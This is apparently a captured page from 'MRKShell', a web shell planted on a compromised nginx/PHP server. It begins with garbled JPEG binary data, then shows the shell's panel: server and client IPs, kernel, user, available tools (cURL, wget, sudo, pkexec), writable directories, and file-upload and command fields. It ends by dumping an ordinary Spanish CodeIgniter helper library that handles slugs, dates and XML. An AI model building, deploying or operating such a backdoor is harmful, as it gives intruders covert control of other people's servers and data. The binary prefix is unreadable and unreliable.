JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/libraries//varios_library.php
<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

class Varios_library {

    private $ci;
    private $client_type;
    public $formato = "html";
    public $marca = 0;

    function __construct() {
        $this->CI = & get_instance();
    }

    public function extraer_string($str, $left, $right) {
        $str = substr(stristr($str, $left), strlen($left));
        $leftLen = strlen(stristr($str, $right));
        $leftLen = $leftLen ? -($leftLen) : strlen($str);
        $str = substr($str, 0, $leftLen);
        return $str;
    }

    public function limpiarurl($frase) {
        $url = trim($frase);
        $url = str_replace("á", "a", $url);
        $url = str_replace("é", "e", $url);
        $url = str_replace("í", "i", $url);
        $url = str_replace("ó", "o", $url);
        $url = str_replace("ú", "u", $url);
        $url = str_replace("ü", "u", $url);
        $url = str_replace("Ñ", "N", $url);
        $url = str_replace("ñ", "n", $url);
        $url = str_replace(" un ", " ", $url);
        $url = str_replace("Un ", "", $url);
        $url = str_replace(" a ", " ", $url);
        $url = str_replace(" su ", " ", $url);
        $url = str_replace("Su ", "", $url);
        $url = str_replace(" es ", " ", $url);
        $url = str_replace("Es ", "", $url);
        $url = str_replace(" una ", " ", $url);
        $url = str_replace(" una", "", $url);
        $url = str_replace("Una ", "", $url);
        $url = str_replace(" la ", " ", $url);
        $url = str_replace("La ", "", $url);
        $url = str_replace(" las ", " ", $url);
        $url = str_replace("Las ", "", $url);
        $url = str_replace(" los ", " ", $url);
        $url = str_replace("Los ", "", $url);
        $url = str_replace(" el ", " ", $url);
        $url = str_replace("El ", "", $url);
        $url = str_replace(" del ", " ", $url);
        $url = str_replace(" con ", " ", $url);
        $url = str_replace(" por ", " ", $url);
        $url = str_replace(" en ", " ", $url);
        $url = str_replace("En ", "", $url);
        $url = str_replace(" que ", " ", $url);
        $url = str_replace(" y ", " ", $url);
        $url = str_replace(" de ", " ", $url);
        $url = str_replace(",", "", $url);
        $url = str_replace(";", "", $url);
        $url = str_replace(":", "", $url);
        $url = str_replace("%", "por-ciento", $url);
        $url = str_replace(".", "", $url);
        $url = str_replace("@", "", $url);
        $url = str_replace("?", "", $url);
        $url = str_replace("¿", "", $url);
        $url = str_replace("!", "", $url);
        $url = str_replace("¡", "", $url);
        $url = str_replace("“", "", $url);
        $url = str_replace("”", "", $url);
        $url = str_replace("¡", "", $url);
        $url = str_replace("°", "", $url);
        $url = str_replace("#", "", $url);
        $url = str_replace("'", "", $url);
        $url = str_replace('"', '', $url);
        $url = str_replace("(", "", $url);
        $url = str_replace(")", "", $url);
        $url = str_replace("-", "", $url);
        $url = str_replace("/", "-", $url);
        $url = str_replace("´", "", $url);
        $url = str_replace("  ", " ", $url);
        $url = str_replace(" ", "-", $url);
        $url = str_replace("›", "", $url);
        $url = str_replace("|", "", $url);
        $url = str_replace('​', '', $url); //limpia el simbolo invisible
        $url = preg_replace("/[^A-Za-z0-9-]/", '', $url);

        $url = strtolower($url);
        $url = str_replace("--", "-", $url);

        return $url;
    }

    public function amigar_cadena($cadena) {
        $url = trim($cadena);
        $url = str_replace("á", "a", $url);
        $url = str_replace("é", "e", $url);
        $url = str_replace("í", "i", $url);
        $url = str_replace("ó", "o", $url);
        $url = str_replace("ú", "u", $url);
        $url = str_replace("ü", "u", $url);
        $url = str_replace("Ñ", "N", $url);
        $url = str_replace("ñ", "n", $url);
        $url = str_replace(" un ", " ", $url);
        $url = str_replace("Un ", "", $url);
        $url = str_replace(" a ", " ", $url);
        $url = str_replace(" su ", " ", $url);
        $url = str_replace("Su ", "", $url);
        $url = str_replace(" es ", " ", $url);
        $url = str_replace("Es ", "", $url);
        $url = str_replace(" una ", " ", $url);
        $url = str_replace(" una", "", $url);
        $url = str_replace("Una ", "", $url);
        $url = str_replace(" la ", " ", $url);
        $url = str_replace("La ", "", $url);
        $url = str_replace(" las ", " ", $url);
        $url = str_replace("Las ", "", $url);
        $url = str_replace(" los ", " ", $url);
        $url = str_replace("Los ", "", $url);
        $url = str_replace(" el ", " ", $url);
        $url = str_replace("El ", "", $url);
        $url = str_replace(" del ", " ", $url);
        $url = str_replace(" con ", " ", $url);
        $url = str_replace(" por ", " ", $url);
        $url = str_replace(" en ", " ", $url);
        $url = str_replace("En ", "", $url);
        $url = str_replace(" que ", " ", $url);
        $url = str_replace(" y ", " ", $url);
        $url = str_replace(" de ", " ", $url);
        $url = str_replace(",", "", $url);
        $url = str_replace(";", "", $url);
        $url = str_replace(":", "", $url);
        $url = str_replace("%", "por-ciento", $url);
        $url = str_replace(".", "", $url);
        $url = str_replace("@", "", $url);
        $url = str_replace("?", "", $url);
        $url = str_replace("¿", "", $url);
        $url = str_replace("!", "", $url);
        $url = str_replace("¡", "", $url);
        $url = str_replace("“", "", $url);
        $url = str_replace("”", "", $url);
        $url = str_replace("¡", "", $url);
        $url = str_replace("°", "", $url);
        $url = str_replace("#", "", $url);
        $url = str_replace("'", "", $url);
        $url = str_replace('"', '', $url);
        $url = str_replace("(", "", $url);
        $url = str_replace(")", "", $url);
        $url = str_replace("-", "", $url);
        $url = str_replace("/", "-", $url);
        $url = str_replace("´", "", $url);
        $url = str_replace("  ", " ", $url);
        $url = str_replace(" ", "-", $url);
        $url = str_replace("›", "", $url);
        $url = str_replace("|", "", $url);
        $url = str_replace('​', '', $url); //limpia el simbolo invisible
        $url = preg_replace("/[^A-Za-z0-9-]/", '', $url);

        $url = strtolower($url);
        $url = str_replace("--", "-", $url);

        return $url;
    }

    public function fechaLarga($fecha) {
        /* Dias de la semana y meses del anio en array */
        $dias_semana = array("0" => "Domingo", "1" => "Lunes", "2" => "Martes", "3" => "Mi&eacute;rcoles", "4" => "Jueves",
            "5" => "Viernes", "6" => "S&aacute;bado");

        $meses_anio = array("01" => "Enero", "02" => "Febrero", "03" => "Marzo", "04" => "Abril", "05" => "Mayo", "06" => "Junio",
            "07" => "Julio", "08" => "Agosto", "09" => "Septiembre", "10" => "Octubre", "11" => "Noviembre", "12" => "Diciembre");
        /*         * **************************************** */

        $dia = substr($fecha, 0, 2);
        $mes = substr($fecha, 3, 2);
        $anio = substr($fecha, 6, 4);

        $fecha_dia = date('w', mktime(0, 0, 0, $mes, $dia, $anio));
        $fecha_dia_letra = $dias_semana[$fecha_dia];
        $fecha_mes_letra = $meses_anio[$mes];

        $fecha_armada = $dia . " de " . $fecha_mes_letra . " de " . $anio;

        return $fecha_armada;
    }

    public function fechaRSS($fecha) {
        /* Dias de la semana y meses del anio en array */
        $dias_semana = array("0" => "Sun", "1" => "Mon", "2" => "Tue", "3" => "Wed", "4" => "Thu",
            "5" => "Fri", "6" => "Sat");

        $meses_anio = array("01" => "Jan", "02" => "Feb", "03" => "Mar", "04" => "Apr", "05" => "May", "06" => "Jun",
            "07" => "Jul", "08" => "Aug", "09" => "Sep", "10" => "Oct", "11" => "Nov", "12" => "Dec");
        /*         * **************************************** */

        $dia = substr($fecha, 0, 2);
        $mes = substr($fecha, 3, 2);
        $anio = substr($fecha, 6, 4);
        $hora = substr($fecha, 11, 8);

        $fecha_dia = date('w', mktime(0, 0, 0, $mes, $dia, $anio));
        $fecha_dia_letra = $dias_semana[$fecha_dia];
        $fecha_mes_letra = $meses_anio[$mes];

        $fecha_armada = $fecha_dia_letra . ", " . $dia . " " . $fecha_mes_letra . " " . $anio;
        return $fecha_armada;
    }

    public function fechaAbreviada($fecha) {
        /* Dias de la semana y meses del anio en array */
        /*
          $dias_semana = array("0"=>"Dom","1"=>"Lun","2"=>"Mar","3"=>"Mie","4"=>"Jue",
          "5"=>"Vie","6"=>"Sab");
         */
        $meses_anio = array("01" => "Ene", "02" => "Feb", "03" => "Mar", "04" => "Abr", "05" => "May", "06" => "Jun",
            "07" => "Jul", "08" => "Ago", "09" => "Sep", "10" => "Oct", "11" => "Nov", "12" => "Dic");
        /*         * **************************************** */

        $dia = substr($fecha, 0, 2);
        $mes = substr($fecha, 3, 2);
        $anio = substr($fecha, 6, 4);
        $hora = substr($fecha, 11, 8);

        $fecha_dia = date('w', mktime(0, 0, 0, $mes, $dia, $anio));
        $fecha_dia_letra = $dias_semana[$fecha_dia];
        $fecha_mes_letra = $meses_anio[$mes];

        $fecha_armada = $dia . " " . $fecha_mes_letra . " " . $anio;
        return $fecha_armada;
    }

    public function fechaAbreviadaCanal($fecha) {
        $meses_anio = array("01" => "ENE", "02" => "FEB", "03" => "MAR", "04" => "ABR", "05" => "MAY", "06" => "JUN",
            "07" => "JUL", "08" => "AGO", "09" => "SEP", "10" => "OCT", "11" => "NOV", "12" => "DIC");
        /*         * **************************************** */

        $dia = substr($fecha, 0, 2);
        $mes = substr($fecha, 3, 2);
        $anio = substr($fecha, 6, 4);
        $hora = substr($fecha, 11, 8);

        $fecha_dia = date('w', mktime(0, 0, 0, $mes, $dia, $anio));
        $fecha_dia_letra = $dias_semana[$fecha_dia];
        $fecha_mes_letra = $meses_anio[$mes];

        $fecha_armada = $dia . " . " . $fecha_mes_letra . " . " . $anio;
        return $fecha_armada;
    }

    public function fechaMedia($fecha) {
        /* Dias de la semana y meses del anio en array */
        $dias_semana = array("0" => "Domingo", "1" => "Lunes", "2" => "Martes", "3" => "Mi&eacute;rcoles", "4" => "Jueves",
            "5" => "Viernes", "6" => "S&aacute;bado");
        $meses = array("01" => "Enero", "02" => "Febrero", "03" => "Marzo", "04" => "Abril", "05" => "Mayo", "06" => "Junio", "07" => "Julio",
            "08" => "Agosto", "09" => "Septiembre", "10" => "Octubre", "11" => "Noviembre", "12" => "Diciembre");
        /*         * **************************************** */

        $dia = substr($fecha, 0, 2);
        $mes = substr($fecha, 3, 2);
        $anio = substr($fecha, 6, 4);

        $fecha_dia = date('w', mktime(0, 0, 0, $mes, $dia, $anio));
        $fecha_dia_letra = $dias_semana[$fecha_dia];

        $fecha_armada = "<span>" . $fecha_dia_letra . " " . $dia . "</span><br />" . $meses[$mes] . " de " . $anio;
        return $fecha_armada;
    }

    public function fechaDiaLetras($fecha) {
        /* Dias de la semana y meses del anio en array */
        $dias_semana = array("0" => "Domingo", "1" => "Lunes", "2" => "Martes", "3" => "Mi&eacute;rcoles", "4" => "Jueves",
            "5" => "Viernes", "6" => "S&aacute;bado");
        $meses = array("01" => "Enero", "02" => "Febrero", "03" => "Marzo", "04" => "Abril", "05" => "Mayo", "06" => "Junio", "07" => "Julio",
            "08" => "Agosto", "09" => "Septiembre", "10" => "Octubre", "11" => "Noviembre", "12" => "Diciembre");

        /*         * **************************************** */
        if ($this->validaFecha($fecha)) {
            $dia = substr($fecha, 0, 2);
            $mes = substr($fecha, 3, 2);
            $anio = substr($fecha, 6, 4);

            $fecha_dia = date('w', mktime(0, 0, 0, $mes, $dia, $anio));
            $fecha_dia_letra = $dias_semana[$fecha_dia];
            $mes_letra = $meses[$mes];

            $fecha_armada = $fecha_dia_letra . " " . $dia . " de " . $mes_letra;
            return $fecha_armada;
        } else
            return "";
    }

    public function fechaDiaLetrasCompleto($fecha) {
        /* Dias de la semana y meses del anio en array */
        $dias_semana = array("0" => "Domingo", "1" => "Lunes", "2" => "Martes", "3" => "Mi&eacute;rcoles", "4" => "Jueves",
            "5" => "Viernes", "6" => "S&aacute;bado");
        $meses = array("01" => "Enero", "02" => "Febrero", "03" => "Marzo", "04" => "Abril", "05" => "Mayo", "06" => "Junio", "07" => "Julio",
            "08" => "Agosto", "09" => "Septiembre", "10" => "Octubre", "11" => "Noviembre", "12" => "Diciembre");

        /*         * **************************************** */
        if ($this->validaFecha($fecha)) {
            $dia = substr($fecha, 0, 2);
            $mes = substr($fecha, 3, 2);
            $anio = substr($fecha, 6, 4);

            $fecha_dia = date('w', mktime(0, 0, 0, $mes, $dia, $anio));
            $fecha_dia_letra = $dias_semana[$fecha_dia];
            $mes_letra = $meses[$mes];

            $fecha_armada = $fecha_dia_letra . " " . $dia . " de " . $mes_letra . " de " . $anio;
            return $fecha_armada;
        } else
            return "";
    }

    public function calcular_tiempo($time) {
        if ($time != "") {
            $partes = explode(":", $time);
            if (count($partes) == 2) {
                $hora = $partes[0];
                $minutos = $partes[1];
                if ($hora > date('H'))
                    $hora = 0;
                $diferencia = date('H') - $hora;
                if ($diferencia > 0) {
                    $msj = "Hace " . $diferencia . " hora";
                    if ($diferencia > 1)
                        $msj .= "s";
                }
                else {
                    $dif_min = date('i') - $minutos;
                    if ($dif_min > 1)
                        $msj = "Hace " . $dif_min . " minutos";
                    else
                        $msj = "Hace 1 minuto";
                }
                return $msj;
            } else
                return "";
        } else
            return "";
    }

    public function xml2array($contents, $get_attributes = 1, $priority = 'tag') {
        if (!$contents)
            return array();

        if (!function_exists('xml_parser_create')) {
            return array();
        }

        $parser = xml_parser_create('');
        xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, "UTF-8");
        xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
        xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
        xml_parse_into_struct($parser, trim($contents), $xml_values);
        xml_parser_free($parser);

        if (!$xml_values)
            return;

        //Initializations
        $xml_array = array();
        $parents = array();
        $opened_tags = array();
        $arr = array();

        $current = &$xml_array;

        //Go through the tags.
        $repeated_tag_index = array();
        //Multiple tags with same name will be turned into an array
        foreach ($xml_values as $data) {
            //Remove existing values, or there will be trouble
            unset($attributes, $value);

            //This command will extract these variables into the foreach scope
            extract($data);

            $result = array();
            $attributes_data = array();

            if (isset($value)) {
                if ($priority == 'tag') {
                    $result = $value;
                } else {
                    //Put the value in a assoc array if we are in the 'Attribute' mode 
                    $result['value'] = $value;
                }
            }

            //Set the attributes too.
            if (isset($attributes) and $get_attributes) {
                foreach ($attributes as $attr => $val) {
                    if ($priority == 'tag') {
                        $attributes_data[$attr] = $val;
                    } else {
                        //Set all the attributes in a array called 'attr'
                        $result['attr'][$attr] = $val;
                    }
                }
            }

            //See tag status and do the needed.
            if ($type == "open") {
                $parent[$level - 1] = &$current;
                if (!is_array($current) or ( !in_array($tag, array_keys($current)))) {
                    //Insert New tag
                    $current[$tag][0] = $result;
                    if ($attributes_data)
                        $current[$tag . '_attr'] = $attributes_data;
                    $repeated_tag_index[$tag . '_' . $level] = 1;

                    $current = &$current[$tag][0];
                }
                else {
                    //There was another element with the same tag name

                    if (isset($current[$tag][0])) {
                        //If there is a 0th element it is already an array
                        $current[$tag][$repeated_tag_index[$tag . '_' . $level]] = $result;
                        $repeated_tag_index[$tag . '_' . $level] ++;
                    } else {
                        //This section will make the value an array if multiple tags with the same name appear together
                        $current[$tag] = array($current[$tag], $result); //This will combine the existing item and the new item together to make an array
                        $repeated_tag_index[$tag . '_' . $level] = 2;

                        if (isset($current[$tag . '_attr'])) {
                            //The attribute of the last(0th) tag must be moved as well
                            $current[$tag]['0_attr'] = $current[$tag . '_attr'];
                            unset($current[$tag . '_attr']);
                        }
                    }
                    $last_item_index = $repeated_tag_index[$tag . '_' . $level] - 1;
                    $current = &$current[$tag][$last_item_index];
                }
            } elseif ($type == "complete") {
                //Tags that ends in 1 line '<tag />'
                //See if the key is already taken.
                if (!isset($current[$tag])) {
                    //New Key
                    $current[$tag] = $result;
                    $repeated_tag_index[$tag . '_' . $level] = 1;
                    if ($priority == 'tag' and $attributes_data)
                        $current[$tag . '_attr'] = $attributes_data;
                }
                else {
                    //If taken, put all things inside a list(array)
                    if (isset($current[$tag][0]) and is_array($current[$tag])) {
                        //If it is already an array...
                        // ...push the new element into that array.
                        $current[$tag][$repeated_tag_index[$tag . '_' . $level]] = $result;

                        if ($priority == 'tag' and $get_attributes and $attributes_data) {
                            $current[$tag][$repeated_tag_index[$tag . '_' . $level] . '_attr'] = $attributes_data;
                        }
                        $repeated_tag_index[$tag . '_' . $level] ++;
                    } else {
                        //If it is not an array...
                        $current[$tag] = array($current[$tag], $result); //...Make it an array using using the existing value and the new value
                        $repeated_tag_index[$tag . '_' . $level] = 1;
                        if ($priority == 'tag' and $get_attributes) {
                            if (isset($current[$tag . '_attr'])) {
                                //The attribute of the last(0th) tag must be moved as well

                                $current[$tag]['0_attr'] = $current[$tag . '_attr'];
                                unset($current[$tag . '_attr']);
                            }

                            if ($attributes_data) {
                                $current[$tag][$repeated_tag_index[$tag . '_' . $level] . '_attr'] = $attributes_data;
                            }
                        }
                        $repeated_tag_index[$tag . '_' . $level] ++; //0 and 1 index is already taken
                    }
                }
            } elseif ($type == 'close') {
                //End of tag '</tag>'
                $current = &$parent[$level - 1];
            }
        }

        return($xml_array);
    }

    public function xml3array($contents, $get_attributes = 1, $priority = 'tag') {
        if (!$contents)
            return array();

        if (!function_exists('xml_parser_create')) {
            return array();
        }

        $parser = xml_parser_create('');
        xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, "UTF-8");
        xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
        xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
        xml_parse_into_struct($parser, trim($contents), $xml_values);
        xml_parser_free($parser);

        if (!$xml_values)
            return;

        //Initializations
        $xml_array = array();
        $parents = array();
        $opened_tags = array();
        $arr = array();

        $current = &$xml_array;

        //Go through the tags.
        $repeated_tag_index = array();
        //Multiple tags with same name will be turned into an array
        foreach ($xml_values as $data) {
            //Remove existing values, or there will be trouble
            unset($attributes, $value);

            //This command will extract these variables into the foreach scope
            extract($data);

            $result = array();
            $attributes_data = array();

            if (isset($value)) {
                if ($priority == 'tag') {
                    $result = $value;
                } else {
                    //Put the value in a assoc array if we are in the 'Attribute' mode 
                    $result['value'] = $value;
                }
            }

            //Set the attributes too.
            if (isset($attributes) and $get_attributes) {
                foreach ($attributes as $attr => $val) {
                    if ($priority == 'tag') {
                        $attributes_data[$attr] = $val;
                    } else {
                        //Set all the attributes in a array called 'attr'
                        $result['attr'][$attr] = $val;
                    }
                }
            }

            //See tag status and do the needed.
            if ($type == "open") {
                $parent[$level - 1] = &$current;
                if (!is_array($current) or ( !in_array($tag, array_keys($current)))) {
                    //Insert New tag
                    $current[$tag][0] = $result;
                    if ($attributes_data)
                        $current[$tag . '_attr'] = $attributes_data;
                    $repeated_tag_index[$tag . '_' . $level] = 1;

                    $current = &$current[$tag][0];
                }
                else {
                    //There was another element with the same tag name

                    if (isset($current[$tag][0])) {
                        //If there is a 0th element it is already an array
                        $current[$tag][$repeated_tag_index[$tag . '_' . $level]] = $result;
                        $repeated_tag_index[$tag . '_' . $level] ++;
                    } else {
                        //This section will make the value an array if multiple tags with the same name appear together
                        $current[$tag] = array($current[$tag], $result); //This will combine the existing item and the new item together to make an array
                        $repeated_tag_index[$tag . '_' . $level] = 2;

                        if (isset($current[$tag . '_attr'])) {
                            //The attribute of the last(0th) tag must be moved as well
                            $current[$tag]['0_attr'] = $current[$tag . '_attr'];
                            unset($current[$tag . '_attr']);
                        }
                    }
                    $last_item_index = $repeated_tag_index[$tag . '_' . $level] - 1;
                    $current = &$current[$tag][$last_item_index];
                }
            } elseif ($type == "complete") {
                //Tags that ends in 1 line '<tag />'
                //See if the key is already taken.
                if (!isset($current[$tag])) {
                    //New Key
                    $current[$tag] = $result;
                    $repeated_tag_index[$tag . '_' . $level] = 1;
                    if ($priority == 'tag' and $attributes_data)
                        $current[$tag . '_attr'] = $attributes_data;
                }
                else {
                    //If taken, put all things inside a list(array)
                    if (isset($current[$tag][0]) and is_array($current[$tag])) {
                        //If it is already an array...
                        // ...push the new element into that array.
                        $current[$tag][$repeated_tag_index[$tag . '_' . $level]] = $result;

                        if ($priority == 'tag' and $get_attributes and $attributes_data) {
                            $current[$tag][$repeated_tag_index[$tag . '_' . $level] . '_attr'] = $attributes_data;
                        }
                        $repeated_tag_index[$tag . '_' . $level] ++;
                    } else {
                        //If it is not an array...
                        $current[$tag] = array($current[$tag], $result); //...Make it an array using using the existing value and the new value
                        $repeated_tag_index[$tag . '_' . $level] = 1;
                        if ($priority == 'tag' and $get_attributes) {
                            if (isset($current[$tag . '_attr'])) {
                                //The attribute of the last(0th) tag must be moved as well

                                $current[$tag]['0_attr'] = $current[$tag . '_attr'];
                                unset($current[$tag . '_attr']);
                            }

                            if ($attributes_data) {
                                $current[$tag][$repeated_tag_index[$tag . '_' . $level] . '_attr'] = $attributes_data;
                            }
                        }
                        $repeated_tag_index[$tag . '_' . $level] ++; //0 and 1 index is already taken
                    }
                }
            } elseif ($type == 'close') {
                //End of tag '</tag>'
                $current = &$parent[$level - 1];
            }
        }

        return($xml_array);
    }

    //YYYY-mm-dd a dd/mm/YYYY
    public function transformar_fecha($fecha, $separador = "/") {
        if ($fecha != "") {
            $dia = substr($fecha, 8, 2);
            $mes = substr($fecha, 5, 2);
            $anio = substr($fecha, 0, 4);
            return $dia . $separador . $mes . $separador . $anio;
        } else
            return "";
    }

    /* dd/mm/YYYY a YYYY-mm-dd */

    public function transformar_fecha_inversa($fecha, $separador = "/") {
        if ($this->validaFecha($fecha, $separador)) {
            $dia = substr($fecha, 0, 2);
            $mes = substr($fecha, 3, 2);
            $anio = substr($fecha, 6, 4);

            return $anio . "-" . $mes . "-" . $dia;
        } else
            return "";
    }

    //dd/mm/YYYY
    public function validaFecha($date, $separador = "/") {
        $day = substr($date, 0, 2);
        $mes = substr($date, 3, 2);
        $anio = substr($date, 6, 4);
        if (strlen($date) == 10) {
            if ($day <= 31) {
                if ($mes == "01" or $mes == "03" or $mes == "05" or $mes == "07" or $mes == "08" or $mes == "10" or $mes == "12") {
                    return true;
                } else {
                    if (($mes == "04" or $mes == "06" or $mes == "09" or $mes == "11") and $day <= "30") {
                        return true;
                    } else {
                        if ($mes == "02") {
                            if (fmod($anio, 4) == 0 and $day <= 29)
                                return true;
                            else
                            if ($day <= 28)
                                return true;
                            else
                                return false;
                        } else
                            return false;
                    }
                }
            } else
                return false;
        } else
            return false;
    }

    //Formato de fecha aaaa/mm/dd
    public function validaFechaInversa($date, $separador = "/") {
        $fecha = explode($separador, $date);
        if (strlen($date) == 10 and count($fecha) == 3) {
            $day = $fecha[2];
            $mes = $fecha[1];
            $anio = $fecha[0];
            if ($day <= 31) {
                if ($mes == "01" or $mes == "03" or $mes == "05" or $mes == "07" or $mes == "08" or $mes == "10" or $mes == "12") {
                    return true;
                } else {
                    if (($mes == "04" or $mes == "06" or $mes == "09" or $mes == "11") and $day <= "30") {
                        return true;
                    } else {
                        if ($mes == "02") {
                            if (fmod($anio, 4) == 0 and $day <= 29)
                                return true;
                            else
                            if ($day <= 28)
                                return true;
                            else
                                return false;
                        } else
                            return false;
                    }
                }
            } else
                return false;
        } else
            return false;
    }

    public function formatear_fecha_GTZ($fecha, $formato) {
        /* $fecha = Y-m-dTH:i:sZ(+/-)zzzz */
        /* separar fecha, hora y zona */
        $separar = explode("T", $fecha);
        $fecha = $separar[0];
        $separar2 = explode("Z", $separar[1]);
        $hora = $separar2[0];
        $zona = $separar2[1];

        $separar_fecha = explode("-", $fecha);
        $anio = $separar_fecha[0];
        $mes = $separar_fecha[1];
        $dia = $separar_fecha[2];

        $separar_hora = explode(":", $hora);
        $hora = $separar_hora[0];
        $min = $separar_hora[1];
        $seg = $separar_hora[2];

        $retorno = $formato;
        $retorno = str_replace("Y", $anio, $retorno);
        $retorno = str_replace("m", $mes, $retorno);
        $retorno = str_replace("d", $dia, $retorno);
        $retorno = str_replace("H", $hora, $retorno);
        $retorno = str_replace("i", $min, $retorno);
        $retorno = str_replace("s", $seg, $retorno);

        return $retorno;
    }

    public function isMovil($ver_movil = false) {
        $ver_version_movil = false;
        $movil = false;
        $origen = "agente: " . $_SERVER['HTTP_USER_AGENT'];
        $origen = strtolower($origen);
        //echo $origen; die();
        if (strrpos($origen, "blackberry") > 0 and ! $cookie_guardada) {
            $movil = true;
        } elseif (strrpos($origen, "ipod") > 0 and ! $cookie_guardada) {
            $movil = true;
        } elseif (strrpos($origen, "iphone") > 0 and ! $cookie_guardada) {
            $movil = true;
        } elseif (strrpos($origen, "android") > 0 and ! $cookie_guardada) {
            if (strrpos($origen, "nexus") > 0 and ! $cookie_guardada) {
                $movil = false;
            } elseif (strrpos($origen, "tab") > 0 and ! $cookie_guardada) {
